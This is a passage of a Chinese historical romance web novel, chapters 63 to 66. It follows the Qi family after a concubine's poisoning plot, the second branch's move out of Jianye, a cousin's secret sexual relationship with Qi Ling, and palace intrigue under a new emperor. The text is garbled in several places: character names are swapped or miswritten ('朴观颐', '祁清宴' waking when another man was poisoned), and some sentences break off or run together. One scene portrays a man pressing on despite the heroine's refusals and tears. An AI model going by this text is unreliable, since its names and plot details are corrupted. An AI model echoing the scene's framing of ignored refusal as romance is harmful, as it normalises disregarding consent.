身后仆妇绑住她,她望了眼女儿,松了口:“是我,是我……只求老冯栖梧,没有儿子,松。毒错了人,也好,我也恨大人,他从未真心待我。” “什么毒!”老夫人斥道。 柳姨娘却嗫喏着说不出来。 内里朴正卿出来,“暂时无事了,这几日能醒来就能活,只是没几年活头了。” 老夫人听此,直直往后倒去,大夫人惊呼一声,又乱了套。 朴观颐拖下去,立刻灌毒酒下去,了她性命。今日事,不得传出半句,否则皆打杀了。” 两日过后,这场闹剧堪堪结束。 不知多少珍贵药材熬成的续命药灌下去,祁清宴才醒过来,却也是身体精神大不如前。 他起身,嬷嬷见到他醒了,忙要去旁边厢房叫冯夫人。 他道不必,听吩咐端了软和吃食过来。 祁观复用后缓了缓,有起身的力气就去了瑞霭堂,老夫人见到失而复得的儿子,却又想起他命不久矣,只是老泪纵横。 祁观复跪在地上,嘴唇干裂,声音嘶哑,“母亲,我想与栖梧搬出去。当初母亲不喜冯家,栖梧又无子嗣,母亲说,后继需有人,挑了安分没有家世的柳氏。 栖梧为了家中安宁,步步退让。儿子多年愚钝,栖梧良善隐忍,最后才闹到如此境地。儿知晓,还能苟活几年,余下的日子想与栖梧共度。求母亲应允。” 冬夜寒凉,额头抵在冰冷的石砖上,他久久不起。 良久,老夫人无奈叹息,声音飘渺,“随你去吧。” “劳烦母亲照看柳氏的子女,替阿泠寻亲事。” 老夫人神色疲惫,闻此问:“柳氏的子女你不愿再见,也可。只是阿泠……你可要带她同走?” 祁观复沉默片刻,道:“阿泠已长大,我同栖桐无能,不能为她打算周全。兄长已归家,又有清宴照看,阿泠留在府中也好。” 第63章 第六十三章【VIP】 二房书房内,在听祁观复说完要离开祁府,搬到建业城外的依山傍水的一处小宅院,而且话中意思似劝着她留在祁府。 祁泠心中发酸,攥着袖口,将心里话说出来道:“我想与父亲母亲一同前去,不想留在这儿,有父亲母亲在的地方才是阿泠的家。” 二房身份变得尴尬的祁雪峤和祁云漱留着,有老夫人看顾,起码是老夫人的亲孙子孙女。 而她是因着冯夫人才留在祁家,不想留在二房,孤零零的。 到底养在身边多年,也不愿让她因此伤心,祁观复斟酌道:“那我与母亲兄长说,阿泠也随着我们去,只不过……祖母会想念你,你要时常归来。” 祁泠忙点着脑袋答应。 祁观复看她还是小孩子呢,黏着人,扯起嘴唇想要笑笑,却牵扯到胸腔,一连串地咳起来。 祁泠拿着帕子递过去。他咳了一阵儿,缓过来,“此事,我与你母亲说了,其实她的意思也想带着你,既你也想走,那收拾周全,待陛下批了辞官的折子,我们一家人就走。” 冯夫人答应离开,是不愿意留在祁府里,她有漪漪,又有冯家在,和离难上加难。能离开此地也好。 祁泠同祖母告辞,沈老夫人欲言又止地望着她,最终还是没开口,只嘱咐祁泠照顾好父母。 走出瑞霭堂,祁泠望了一眼琅玕院,依稀可见清疏竹林兼鸟鸣入耳。 上次辛夷阁内,她醒来已然晚间,此后,两人没再见过。风吹拂面颊,微凉,如此也好,关系渐渐疏远,直到有朝一日,可再不相见。 祁观复中毒后一月,二房一家,说是二房也不甚贴切,主子只有祁观复和冯夫人带着两女,还有来投奔冯夫人的冯妆而已。 离开祁府那日,漫天大雪,春日将近,或许建业的最后一场雪了从天色尚未明时开始下,纷纷扬扬,等到离开时满城雪白。 老夫人哭了一场,祁观岚搀扶她,在门口送别。 大房父子也在,祁观颐对弟弟道:“身子好些就搬回来吧,到底是一家人。” 祁观复未言,惹得老夫人又伤心起来。从前他去江州赴任,虽也伤怀,但离开时她的小儿正值壮年,有朝一日还会回来。不像如今,难得再折腾回来……总比丢了性命好,只是老夫人愈发恨柳氏。 “山水养人,等二哥好些了,母亲过了寿,我同母亲一同去看二哥。”祁观岚简单几句安慰了老夫人,儿子回不来,她可以去看啊。 “叔父有何需要,尽管吩咐侄儿。”祁清宴的声音响起。 车厢内祁泠抱着汤婆子,离冯夫人更近了些,听外间叙话几声后,马车缓缓动了,车轮滚滚,一家离开建业。 冯夫人和祁观复不是重归于好,十余年的恩怨隔阂,不是一朝能化解的,其中还夹杂着柳姨娘一条命还有一双子女。 只是离开建业对她更好些,清净。 她看向侄女,冯妆正陪着祁云漪玩,年纪尚小,婚事不急,慢慢来吧。 冯夫人握着祁泠的手,看着长大的女儿,心里格外妥帖。不管祁泠是谁的女儿,由她养大,多年无人来找,也是她亲生的了。 一处山旁宅院,院中有颗枣树,可惜是冬日叶子落尽,几分萧瑟。 院子不大,只有二进,也足够一家住了。住的如此紧挨,几人都未体验过,新奇又安心。 祁云漪黏着父亲,由祁观复带着。冯妆和祁泠一同住在冯夫人屋里。 每日晨起,一家人共用早膳。 早膳后,祁观复会教祁云漪读书写字,目前还在写大字的阶段。冯妆只识得几个字,憋红了脸才开口,冯夫人答应让她和祁云漪一起学。 祁泠则陪着冯夫人说话,刺绣。 午膳,晚膳皆一同用。 玉盘银盘也随着来了,还有嬷嬷,祁观复的两个小厮,三个厨娘。 原本是用不上这么多厨娘的,到此处多了个脸生的厨娘。祁泠一问是老夫人赐下的,这厨娘极擅药膳,来为二房夫妇调理身子,每日都要喝上一碗药膳。 祁泠也有,不过隔两日喝一次。 住下四五日,祁泠出门去。 再远些是田庄,一片又一片紧连的田庄,她惊奇发现老夫人曾给她的庄子就在不远,坐马车去,约莫着一盏茶就到了。 后从祁观复口中听得,几人住着的也是老夫人的宅院,应当是从前连宅院带田庄一起的。 祁泠偶尔带着冯夫人去庄子散心。 离得这般近,冯夫人不想去时,祁泠无事时也去庄子算算帐,盘点收成,典计是亲切。 搬出建业将近一月,三月初。 建业生变,皇帝驾崩,死前传位五皇子,楚徇登基,立正妻孟氏为皇后。 膝下已有六位公主,只两位嫡出,迟迟后宫,已有身孕,传言是龙凤双胎,此乃吉兆,平了不少风波。 祁家毕竟得罪过五皇子。 楚徇方上位,尚未坐稳,故未直接撕破脸。但他极憎恨士族,随着他父皇那般,暗中打压几大士族,力度大了许多。 只是祁清宴被赐官通直散骑常侍,需常在宫中,没有实权,却忙得鲜少归家。 二房虽不在建业,未受影响。 但晚膳后一家小聚,祁观复总提及此事,只叹三郎可怜,被新帝如此针对,以后该如何是好。 祁泠每每听闻此,默默缝手上的绣活, 她总觉他不会就此听话安分下去。楚徇能继位,他不是早就知道了么?当初才会劝她去五皇子府当侧妃,谋什么日后富贵。 其实他也算未雨绸缪了,若皇室,缓和着关系。他便不她,又得罪了楚徇一番,如今被楚徇放在身边刁难。 离得远了,不再见面。 她也渐渐淡忘了在临川的一切,重归在江州的安宁,闲时带着冯妆一同去庄子算账。 冯妆学的快,祁观复又给侄女开小灶教写字,她会了之后跟着祁泠学算账。 当初他教给她的,她也能教给旁人了。 “表姐,表姐,嬬娘说来年庄子要种稷米,种的时候我们能跟着一起吗?”冯妆眼中亮晶晶的,方从庄子回来,今日两人去地里,听嬬娘讲了种子区别。 “约莫在下月,届时问问父亲母亲,我们可以带着漪漪一起去。”祁泠道,抬步跨过门槛,进了门。 “阿泠,小妆,快去净手,用饭了。”祁观复精神好了些许,站在堂屋前,见两人回来喊道。 饭香气弥漫,两人诶了声,忙去洗干净手。走到用膳的堂屋,一进内里,冯妆立刻闭上了嘴,望向祁泠。 祁泠也看着,冯夫人身边多了位郎君,绯红官服在身,腰系玉带,眉眼润泽,笑着望她,眸内里盛着光辉,开口唤她,“阿泠妹妹。” 令人心中重重一跳。 祁泠忙问了安,冯妆也随着她,一同含糊唤了兄长。 祁观复从外间来,坐下,“今日款待不周,三郎下次早些来,叔父从山间寻些野味来,今日倒是来不及了,只吩咐厨房添了两荤菜。” 在此用膳没有建业时精致奢靡,寻常晚间四人不过三菜,今日因着祁清宴来,添了蒸鱼和炙肉。 “如此也好,清淡更能尝出食材鲜味,寻常吃不到。”祁清宴尝了一口,道:“比建业好吃,难怪叔父叔母比在建业时神采好上不少,可见此地风水养人。” 冯夫人对祁清宴印象极好,此刻也笑,“既如此,三郎不如在此住几日?” 祁清宴摇了摇头,“我也想,只是公务繁忙,又要修宫中宝塔,晚间就要回建业了。” 冯夫人听后,转而同祁泠道:“你祖母要过寿辰,三郎特意来接你,你用过膳,便随三郎回去吧。” 跟着他回建业祁府……祁泠直觉不好,但是两人曾说好,在建业祁府不能私会,他万一只是单纯来接她回去的呢?毕竟两人已经两月未见了。 她点点头,道一声好,避开祁清宴视线。 祁观复和冯夫人用膳后,送了两人出门。 方上了他的马车,祁泠压下一声惊呼,他的手揽在她腰间,转瞬将人拉近怀里。 祁清宴埋头在她颈窝,细细闻着她身上的馨香,混着些许泥土味,他也不嫌弃,就此埋头好久,直到唇轻落,被祁泠嗔怒躲开。 他才抬头,仔细瞧着祁泠,瞧了许久,忽而笑出声来,“你今日去庄子了?” 祁泠不明所以,嗯一声。 祁清宴方才用膳时克制住没多看她,他叔父和叔母可不傻,要是太过直白,定会被看出来。此刻细细看着祁泠模样只觉新奇。 她住在此,不用讲究建业的礼,青丝用粉布缠起,未梳发髻,简单辫到后面。他手指摩挲她领口,只是一身再普通不过的棉布裙,领口袖口绣了几朵小花,腰间挂着手帕。 他又忍不住笑起来。 听着他闷闷的笑声,祁泠被笑得有些恼了,“你笑什么?” “哦,”祁清宴解释道:“我们阿泠,像是村里的小娘子,每日需上山砍柴,下地干活,弄的浑身脏兮兮。” 祁泠板着脸,女儿家到底还是喜欢精致的衣裳,也知自己在外呆了一天,身上不干净,推他,“那你离我远一点好了,免得脏了你的官服。” 祁清宴扣着她脑袋,不许她动,忽而长叹一声,“若你真是无身份的娘子,也好。” 祁泠彻底怒了,毫无身份更是任他予取予夺了。 而他吻落下,不许她说更多。察觉他今日格外急切,亲着亲着就换了地方,祁泠推开胸前的人,道:“不行,不能在这里,外面有人在。” 她脸皮还没厚到这般地步,沉弦个小孩子还在外面和银盘一起呢。 “只是亲一下,不在这儿。”祁清宴接着缠着亲她。祁泠也忍下,回到建业不过一个时辰多,反正她回去要先见老夫人,料他也不敢在祖母面前如何。 等到马车停下,她已然面色绯红,说什么也要缓一会儿再下去,免得被人看出异样来。祁清宴干脆抱她出了马车,祁泠惊道:“你疯了?” 可映入眼帘的不是祁府,而是他在外是私宅。 祁清宴笑:“祖母以为你大后日才会回去,我们在这里住上三日,再回祁府。” 提前几日去接了她,用着祖母的名头,却同祖母说她过几日才回去。光明正大留了几日任由独处,祁泠怎么也没想*到,只觉,他实在诡计多端。 第64章 第六十四章【VIP】 “你当真可恶。我要回去,后日,不、明天就要回府去。我想同祖母多呆几日。”祁泠想尽法子避着他。 祁清宴假意松手,祁泠害怕掉下去,还没反应两只手已抬高,环在他脖颈,心跳得极快。 抬头望见他流畅又隽秀的下颌,连日奔波劳累,冒出一点青色胡茬,略显疲惫。嘴角却弯着,满腹坏心思,哪里有一点祁观复嘴里的可怜模样。 他慢慢道:“既然阿泠想陪着祖母,也不急于一时,等祖母过寿后,留在建业多住一阵就好了。” 祁泠一股子气堵在心里,嘴快道:“才不要。” 祁清宴喜她娇嗔微怒面庞,丝毫不动气道:“不愿也好,最近建业并不太平,你在我也不放心。祖母过寿都谨慎,只邀了相好的几家,并未大办。” 无论她说什么,他都有话答。祁泠索性不说话,由他抱进去。 在外面尚没看出来,一进内室床帐中,祁泠眼熟起来,这不是泉涧巷的宅子么? 当初从瑞安王府归家,在路上她因月事疼晕了,再醒来就在这里。兜兜转转又回来了,让人道孽缘,孽缘。 只是,如今她来月事倒不会疼了。 窗沿梳妆台旁有两叠着放的木雕衣箱,祁清宴握着祁泠的腰,扶她在上坐好,抬腿抵着,分开她裙摆,俯身过去,迫切亲她。 “我要沐浴。”祁泠偏偏头,无法容忍脏兮兮的自己,看他也不怎么干净。他抱起人,到后面净室。 外面沾染尘土的衣衫落下,祁泠飞快躲进水里,小衣紧贴在身前,水汽氤氲堪见清春色。 祁清宴随之下来,热意蒸腾弥漫,空气中仿若丝丝缕缕的暧昧浮动。 鼻尖相碰,水下手探入惹得祁泠眉一蹙,急促伴着更急促的呼吸接连响起,唇齿间的缠磨纠缠,使她无力招架。 他轻轻唤,“阿媅……” 阿媅,阿泠。分不清现实与虚幻,有些逃避,等祁泠反应过来时,已经陷入起伏的潮水,她抬手所触是他精瘦的胸膛,只一轻轻碰触,便被彻底浸透。 水中带着滞涩的难忍,水面一圈又一圈涟漪,水珠溅落。 重复的亲密,加深两人之间无声息的羁绊。 水微凉,祁清宴长腿踏出,披上干净的里衣,端起旁边盛热水的桶兑水进去,直到水温正好。他攥了帕子,站在浴桶边缘,替她擦洗着。 祁泠手搭在浴桶边沿,脑袋侧倚在手臂上,脸颊如若晚霞粲然,混着春光潋滟,闭眼,软乎乎开口,“我要睡了。” “寿宴当日,瑞安王妃或许会不请自来,阿泠记得避着她些。” 他这一开口,打消祁泠不多的困意,眼睛睁大了许多。还没死心么,都过去将近一年了,况且对面如今身份显赫。 美人骨映入眼帘,他眉眼垂下,筋骨分明的手缓缓擦着,“不是为她儿子,她又快添孙辈了。只是怕,新帝贼心不死。” 想到楚徇,祁泠心底是有点怕。 害她当初无能为力、害怕的罪魁祸首在身旁,她仰头望他:“我又不是什么美人,一时新鲜而已,不会记得这么久。” 祁清宴定定看了她一阵儿,将她从水里抱起,囫囵着擦了擦,重回到内间。 按照往日必不会轻易结束,祁泠有所预料,可又回到衣箱上。 梳妆台上侧有一面铜镜。他今日又急又凶,祁泠指甲嵌入他脊背,嘴里止不住溢出破碎的声音来,迷茫中抬眼,余光瞥见镜中人。 男子的脊背起伏,而她伏在他肩头,脸颊红润,媚态横生,青丝散落微微摇曳。 她未曾见过这般自己,一时难以接受。明明一开始是绝不情愿的,后来竟也渐渐习惯。 抽噎声响起,伴着她的拒绝的话。祁清宴察觉到不太对劲,停下,哑着声问她,“怎么了……阿媅?” “不对,不应该这样。”她喃喃道。 铜镜映出交缠的人影,祁清宴从她躲避的视线发觉了,他道:“无碍的,阿媅,人之常情,况且你我心意相通。” 只差一纸婚约。 祁泠听后更伤心了,摇着头否认。 祁清宴颇为温柔地哄着她,夫人娘子阿泠阿媅喊了一通,也没再缠着她不放,知今日怕是让她不舒服了,抱着她下来,重新沐浴过睡下。 叙话一向是他说得多,找些她感兴趣的话来说,“徊粱约莫着月末能回建业,林照 祁泠枕着手,身子乏累,懒散地点点头。睡熟之前听他道:“等林照君回来,你去看看她罢。” 他当真早出晚归。 翌日,,外面天色澄亮,曦光又不晃眼。 她挑,祁泠选了件素色的,带着银盘在院中逛了逛。 等到用午膳时,她察觉似乎忘了点什么。可祁清宴午间趁空回来了,与她同桌用膳,直到晚间,她也没想起来究竟忘了什么事。 老夫人生辰,的寿屏,来前已经绣得差不多。 白日他不在,她仔仔细细改过。晚间又要应付一下祁清宴,行房后吃过避子药再睡。 等到大后日,黄昏时,祁清宴来接她回祁府。 马车内,祁泠道:“我先回去,随后你再下去。我们隔一会儿再去瑞霭堂罢,省的被人怀疑。” “阿泠,是祖母让我去接你,我们分着回来,岂不明明白白避着。祖母从前未曾有顾虑,见此,也会因此生出疑虑来了。”祁清宴先一步出去,祁泠掀开车帘,他伸出来的手停着,静静等她反应。 他说的话也有道理,她遂将手放上去。 “三郎?” “……阿泠?” 祁观岚一身骑装,一手紧勒缰绳才止住骏马,吁了一声。俨然方从外归来。 方拐过弯,她就瞧见祁府的马车,当时还猜着这个时辰会是谁归府。结果见到这对兄妹依次下来,倒也还好。 只是祁泠慌忙将手收了回去,轻声唤了姑母。 祁清宴主动拉住祁泠的手,使了点力气,拉着她下去。 同时转身同祁观岚道:“姑母好兴致,这是去郊外跑马了吧。我接阿泠回来,正打算去瑞霭堂见祖母,姑母可要同去?” 自从祁观复生了事,沈老夫人对儿女孙辈看顾愈发紧。听说谁家子孙坠马摔断了一条腿,最近不许祁观岚出去,她今日是偷偷出去。 听此立刻心虚,祁观岚翻身下马。身后又赶来来一匹马,随行侍卫也下了马,祁观岚顺手将缰绳递给他,含糊道:“……好侄儿,好侄女,你们俩去就是了哈,姑母就不去了。千万别说在门口遇见我啊。” 祁清宴松开手,笑吟吟望向祁观岚身后人高马大的侍卫,细看着,眉眼还算俊朗,高鼻深目。 他开口:“姑母的侍卫,我好像几年前见过。今日忽而想起来……他是曾经在马厩的骊?” 名骊的侍卫跪下,“禀郎君,郎君记的没错,奴七年前是骊。” 祁清宴道:“既有胆识才干,不屈于一处也好。得姑母赏识,离了那处,来日或有大作为。” 他语毕,转看向祁观岚,“姑母,祖母在等,侄儿带着阿泠先去了。” 祁泠俯身同祁观岚告辞,祁观岚嘱咐她没事同祁望舒一起玩,祁泠自然乖巧答应下来。 等两人走后,祁清宴的侍从也将马车牵走,侧门重新空荡荡。 祁观岚转身同骊道:“等过了母亲寿宴,你还是回去当护院吧,如从前一般,不出现在人前,护着阿濯就好。” 骊沉默,点头答应。 祁观岚的话他从不置疑。 祁观岚说着阿濯,忽而灵光一闪,想起阿濯前些日子说的“哥哥在哄姐姐睡觉”。 她当时以为是小孩子的胡话,如今仔细一琢磨,阿濯是在二房院子里乱跑,由祁清宴牵着出来。 阿濯认识的姐姐不多,偏因着祁云漪,祁泠时常见到阿濯,阿濯也会亲近地喊她姐姐…… 她好像发现了什么不得了的事。 祁观岚藏不住一点事的,当即就想着去老夫人面前嚷上一句,母亲,不用担心大房后继无人了,你孙子兔子吃上窝边草了。 可想起祁清宴方才的话,她琢磨琢磨明白了,咬咬牙,恨道:“这个小崽子,敲打算计到他亲姑母头上了。” 骊深邃的眸子带着疑惑,单纯看着祁观岚,满是信任。 祁观岚已大步往院中走,骊跟着,听她哼一声,“你以为他会平白无故提你?他呀,怎会刻意记下人名字,八成是猜到什么,又去查了一番。以后你躲着他些,我这侄子呀,祁家的心眼被他长走一大半,太单纯的人,和他待一起,容易被骗。” …… 瑞霭堂内,沈老夫人将祁泠拉到近旁细细看,不禁点头道:“嗯,确实气色好些了,等来日我也去宅子里陪你们住上一段。” 说的自然送给二房一家的宅子。祁泠挑着说祁观复,听到儿子好了些,老夫人也欣慰。 顺道一同用了晚膳。 老夫人转而看向连着将近十日没归家的祁清宴,观他今日心情不错,试探道:“三郎啊,最近听你父亲说你忙,所以在府外住着?” 祁清宴用完膳了,回道:“是,祖母,有时忙得晚了,回府也耽误,干脆在外住下。” “外面有人,可接进府里来,只要品行过得去,”老夫人顿了下,不大好的记忆浮上,许久才道:“家中不会亏待她的。” 祁泠埋头苦吃,当做听不见。 祁清宴则全然否认。 老夫人知道他不愿意说,近来实在鲜少见到祁清宴,明日忙起来又不知何时才能看到他了,干脆道:“我和你母亲一同商量过,明日邀了唐娘子与其母来府上,你觉得如何?唐父久在御史台,深受皇室信任,瑞安王妃格外喜欢唐娘子,若两家联姻,你也能少些皇帝猜忌。” 祁清宴未言语,似在思索。祁泠想着她在,两人还算有点关系,他或许不愿在她面前提婚事。 于是,她识趣地提了告辞,要回二房,就是原来住的小祁府。 老夫人却道:“干脆留在暖阁里,同我一起住。回二房作甚,要走那么远。” 祁泠也答应了,祁清宴顺势提了要走。她奉老夫人的命,出门送他,趁着四周无人,她对祁清宴道:“你大可娶亲的,祁清宴。” 祁清宴直觉她说不出来好话,还是耐心问了一句:“怎么呢?” “我们当初说好的……”她语气颇慢,却郑重,“你娶妻,或是有了要娶的人,我们就断干净的。”又添一句,“各不相干那种。” 祁清宴心里泛起密密麻麻的痒,被气得,差点笑出来。她如此无情,昨日还翻云覆雨一处,转眼就说出这番话来,直到如今也未有一丝要同他长久的念头。 回琅玕院的路上,他忍不住回头问贡承,嫌弃其办事不力,“三娘子的身世查到何处了?为何迟迟没消息?” 第65章 第六十五章【VIP】 贡承也为难得紧,道:“郎君,前些日在建业寻,二十年前有口音像家在淮陵来的歌姬舞姬。逐一查过去,赎身或留在楼中的人,皆早早殒命,线索断了。当初来祁家寻冯夫人要钱财的人也找不到。” “……倒像是有人刻意为之,掩了此事真相。”年头久远,当年未留下手脚,如今更难查。 急也急不得,从淮陵事开始就知内里不简单。祁清宴道:“接着寻吧,一有消息务必送到我这里来。” 贡承应是。 翌日阖府喜气洋洋,天色尚未彻亮,瑞霭堂已聚了不少人。 祁清宴进院一眼望见祁泠,她微侧身行了一礼,装作不熟样子,两人依次进了门。 祁泠进门就被祁望舒牵去,姐妹两坐在老夫人身旁热闹叙话。祁清宴望着她,祁既白喊了一声二弟,他转身过去,两人一处说话。 大房和二房人齐了,二房只来了祁泠一个,姐弟两皆告病,柳姨娘正是老夫人心头刺,她的子女见不到也好。 一家人聚在一起,依次给老夫人祝寿,又送了寿礼。 正是热闹时,门房跑来禀告:“老夫人,宫中来人了。” 内里祁家人面面相觑,全家一起在院中迎着,听大太监宣旨,奉新帝之命来送寿礼,玉寿桃一对、红珊瑚树兼锦缎几十匹。 天家恩赐,接了却无人欢喜,一齐跪下谢安。 一行人方重归瑞霭堂,不过片刻,门房又急来报瑞安王妃到了,虽不请自来,也是一等一的贵客,老夫人亲自去前面迎。 瑞安王妃比去岁精神头更好。 后宫无太后,先帝的皇后,五皇子嫡母,二皇子生母,楚徇一上位,她就病死了。二皇子被流放,谁知路上死了没有。其中都是楚徇手笔,碍眼的人一个个灭掉。 他几近专横独行,手段狠绝,却厚待位如养母的瑞安王妃。瑞安王妃时常进宫去,与掌实权的太后也无甚区别了。 女眷叙话,郎君们出去前院迎客待客。 瑞安王妃坐着老夫人让出来的正位,从前尚需掩饰一番,但如今不需了,笑着同老夫人说话,余光瞄见娘子堆里的祁泠。 也无需刻意去看,水灵灵的美人就站在那里,令人自然而然地就看过去了。 当初祁泠太过直白,拒绝的不留情面,细提起来是下人面子。 瑞安王妃道:“没想到,我那儿媳有了身孕,今年会添两个孙辈,只是盼着快些见到。你二孙女的婚事,还没着落呢?” 老夫人道:“她呀,父母身体都不好,她要在身边侍奉。我也不舍她嫁人,在家再留一年两年吧。” “可惜了……”瑞安王妃啧叹了一声。 确实是没个福气的,宫中那个依她看来心思太多,身份太低。只是祁泠太不知好歹,遂不再提。 祁观岚坐在一旁,陪着母亲见客。她同先头的郡王妃交好,实在看不惯瑞安王妃的做派,前儿媳妇方死了几月,忙着娶了新儿媳。说起来是皇亲贵族,行的却是连普通人都做不出的丧良心事。 她使了眼色给祁望舒,祁望舒明悟,寻个由头拉着祁泠去厢房里说话,避了瑞安王妃,一直到寿宴结束,姐妹两个才出去。 晚间老夫人不大高兴,祁泠在侧也不敢细问,直到祁清宴进屋,他难得得了老夫人的冷脸。 自打瑞安王妃来后,祁泠都在内里,也不知发生了什么,望向祁清宴。 祁清宴笑着摇摇头,示意没事,祁泠立刻移开视线。 老夫人道:“你们一个个的,当真是要气死我才肯罢休。” 祁清宴亲自动手,倒了杯茶,奉到老夫人身边,“祖母,莫生气。” “我昨个同你说了唐娘子要来,等人来了,去唤你,你却不在,沉弦说你有事走了。什么事能重要至此?害得我一把年纪与唐夫人赔笑。还有你姑母,她——” 老夫人说得太急,又气,险些一口气没上来,接过祁清宴递来的茶,缓着喝了两口。 祁清宴道:“祖母,孙儿来日自会娶妻,如今形势不定,新帝暴虐不仁,朝中有异议的老臣逐一赐死。同皇室关系亲近的唐家明面清名,谁知背地里是什么样子? 还有姑母的事……祖母只当做不知道好了,祁府传不出去风言风语,姑母愿意的话,再嫁也可。” “她都多大了,还再嫁?”老夫人顿了顿,缓了缓,又家,而不是……” 祁泠不明所以,乖乖听着,老夫人不再说祁观岚。目光一转,喊了她,“阿泠,你下月过生,回府上过吧。” 她私心想在冯夫人身她做了身新衣,一家人简简单单在一起用膳,过了生辰后才回建业的。 祁泠的不愿意,她还以为没人看出来,殊不知清清楚楚落入这祖孙眼中。 老吧阿泠,让你父亲母亲一同来。明年我不知是何光景,我们全 ,没开口。 祁泠又在祁府住了两日,趁着祁清宴不在家中,同老夫人告辞走了。 一离开建业,又重归安宁。 等到月末时,祁泠和冯妆回家又见到祁清宴在等着。又比她生辰提前七日来,祁泠恼怒,以为他要故技重施,私自留下她几日。 唤他出来,避开祁观复和冯夫人,她道:“我不去泉涧巷。” 祁清宴道:“不去,是林照君回建业了,你想去见她么?明日晚间我送你回来。” 祁泠想着林照君孤儿寡母,初来此处必定不适应。心一软答应了。 可冯夫人盛情款待,祁清宴在此留了一日,第二日两人起早回建业。 他先送祁泠去林照君所居宅子,而他进宫去。 …… 高耸的宫墙圈起宫殿,砖石如铜墙铁壁,外面人难进,内里人难出,是为皇宫。 未央宫中,方醒的孟皇后听闻大公主同静昭媛起了争执,匆匆赶到御花园。 七岁的大公主满脸委屈,跑到皇后身边,“母后,她说我要害她,要去告诉父皇。” 对面女子一身藕荷宫装,眉眼秾丽,由身旁宫女搀着,隆起的小腹格外明显。 孟皇后心里暗恨却没办法,只能道:“妹妹怕是误会了,公主懂分寸,怎会去害妹妹?” 静昭媛,亦或是曾经的嫹娘,没了当初在船上的拘谨,骤然飞上枝头,皇后在她面前都要退一步,一挑眉,道:“大公主既然不是故意所为,为何不向嫔妾赔罪?” 当然是因觉失了身份。 孟皇后推脱女儿还小,但嫹娘态度不善。她只能迫着自己女儿道歉。 看着自己女儿哭泣,而嫹娘掩不住的自得。孟皇后心一横,下定主意,随后笑了几声,“妹妹,好好养胎吧。只是本宫奉劝妹妹不要得寸进尺,难不成以为陛下真心喜你?曾经陛下曾用侧妃之位求娶一人,她没应,如果答应了……你今日也不会在此了” 嫹娘皱眉,问道:“是谁?” 孟皇后笑着不告诉她。 心里愈发恨嫹娘,只可惜她也需要这个孩子。待其生了儿子,借着皇后的身份召祁泠进宫来,顶替了她。 祁泠看起来比嫹娘好掌控太多。 …… 午后宫道之上,远远有鸾轿前来,祁清宴等在宫道侧,垂目避嫌。 鸾轿四周垂着帐幔,四角挂着黄铜铸成的宫铃,随着风吹拂,迎面是脂粉的香气,女子柔媚的声音响起,“停轿。” 方从皇帝书房离开,正是嫹娘的仪仗,她未曾想过在建业皇宫之中还能见到当初在临川的人。 船上献舞那日,主家没告诉他们客人身份,她只知道对面身份尊贵,是她们这些只能仰望的人。 没想到有朝一日,也会见对面的人,开口问安:“昭媛娘娘。” 只是他并未停留,转身便走。 与寻常见到的人不同,自从进宫,旁人待她都尊敬的很。还没有人不屑到一个目光都吝啬给她。 她回想着自己,当真运气好。 有郎君将她赎下送人,可对方不要,恐怕她又要回到主家去。即使被留下,也无甚作用,过不上什么好日子。 但在下船时,被人买了下来。 她也不知道买她的人是谁,赶了许多日的路,听周围侍从所言到了建业,进了王府,再然后竟成了宫中娘娘。 远走的郎君虽样貌好,却没有娘娘的身份好,她庆幸自己能到建业。 却有几分好奇。 她问问周围的宫女,“这是谁?” 宫女不敢怠慢昭媛,她肚子里还有皇嗣,小心道:“回禀娘娘,是祁家的郎君,如今在宫中任职,此刻才会在此。” “祁家?” 宫女是建业的良家女,知晓建业情形,对这位昭媛的来历略听过几句,耐心道:“娘娘不知,建业有几大士族,慕容、谢、祁,如今还要加上皇后娘娘的娘家。” 主家也算没说假话,确实是贵人。 嫹娘想起祁清宴身旁的夫人,抚了抚自己脸颊,忽而叹道:“他待他的妻子很好罢。” 宫女以为她不知,微微笑着道:“祁郎君还没娶妻呢。” 嫹娘惊讶,“真的没有?”她明明白白记得周围人唤那妇人夫人,祁清宴的友人还曾喊她嫂子,总归是错不了。 “真的。”宫女有点不好意思,“这等大事,奴婢记得准的,建业多少娘子盯着的婚事,绝不会有错的。” 嫹娘并不愚钝,还有些许聪慧。 闻言细细思量着。 …… 祁清宴从宫中归来,去接祁泠前,先回了一趟祁府。 皇帝令各州都督归京述职,楚徇在位两月有余,已按耐不住打杀士族的心。放着北关以外未曾收复之地不管,打定心思先灭士族。 方从瑞霭堂出来,路过大房夫妻的院子,他打算去见一见父亲。 宽阔的院中,安静的有几分死寂。 十多个小厮从后头库房搬出一箱又一箱的物件,正在门口遇见,放下提着的箱子,向祁清宴问安。 祁清宴从前一概不管这些琐事,想起父亲近来的莫名和蔼,随口问了句,“这是要送到哪里的东西?” 打头的小厮没得到什么吩咐,于是一板一眼地全说了,“大人让奴送到瑞霭堂,由老夫人再添些,要送到二大人建业外的府邸去。” 往日老夫人也时常接济二房,总会派人送些东西去,他父亲送也应当,只是这未免太多了些。 而且直接送去就好,为何要借着祖母的由头。 他直觉其中有异,颔首由着小厮走了。又往前走了几步,脚下步伐却停了。 忽而想起再过几日,是祁泠的生辰。 回眸,他细看那些箱子,其中不光有新购置的,还有祁观复从北关带回来,一直搁在库房未动的东西。 今日全都送走了。 祖母对祁泠的亲近又带着点愧疚,比不上从小养在身边的祁望舒亲,但与有血脉相系的祁云漱相比,祖母俨然更喜祁泠。 他母亲一直不喜祁泠,视其为眼中刺,往日明明没有那般刻薄,他曾问过为何,但母亲未答。 见到两人共居一室,她也只是当日疑虑,后来再未提及,也未如他所想那般,在其中推波助澜。 当初初见祁泠,祖母曾说亏欠二房,让他照顾祁泠。 亏欠的究竟是什么? 动用祁家耳目也查不到祁泠身世。 除非……当年便是身份不亚于祁家的人掩藏起她的身世、生母。 曾经的蛛丝马迹渐渐连成一条完整的脉络,祁清宴脑中浮现一个荒谬念头,令人顷刻之间头皮发麻,冷汗浸湿衣衫。 第66章 第六十六章【VIP】 临近淮河两岸的宅子中,一进的宅院,只有两护院,内里烟火气漫漫。 院中已不大冷,窗沿石梯下摆着黄泥烧成的炉子,铜釜上置甑,内里滚着热汤。 冬奴靠在祁泠身边,软声唤着,“姐姐。”祁泠方才教他改口喊姨母,她比林照君小几岁,相熟后唤声姨母显得亲近,可冬奴坚持喊姐姐。 “我和母亲以后一直住在这吗?”他仰着小脑袋,水汪汪的一双眼望着祁泠,眼里茫然居多。 方知晓事的年龄,明白了一点自已和母亲的处境,已问过太多次母亲这个问题,觉得母亲会伤心,这次问上了祁泠。 祁泠摸了摸他小脑瓜,道:“这个呀……你喜欢这里吗?” 冬奴怯生生地点头,同祁泠认真地说:“燕叔答应以后会教我认字,还能见到姐姐,冬奴喜欢这里。” 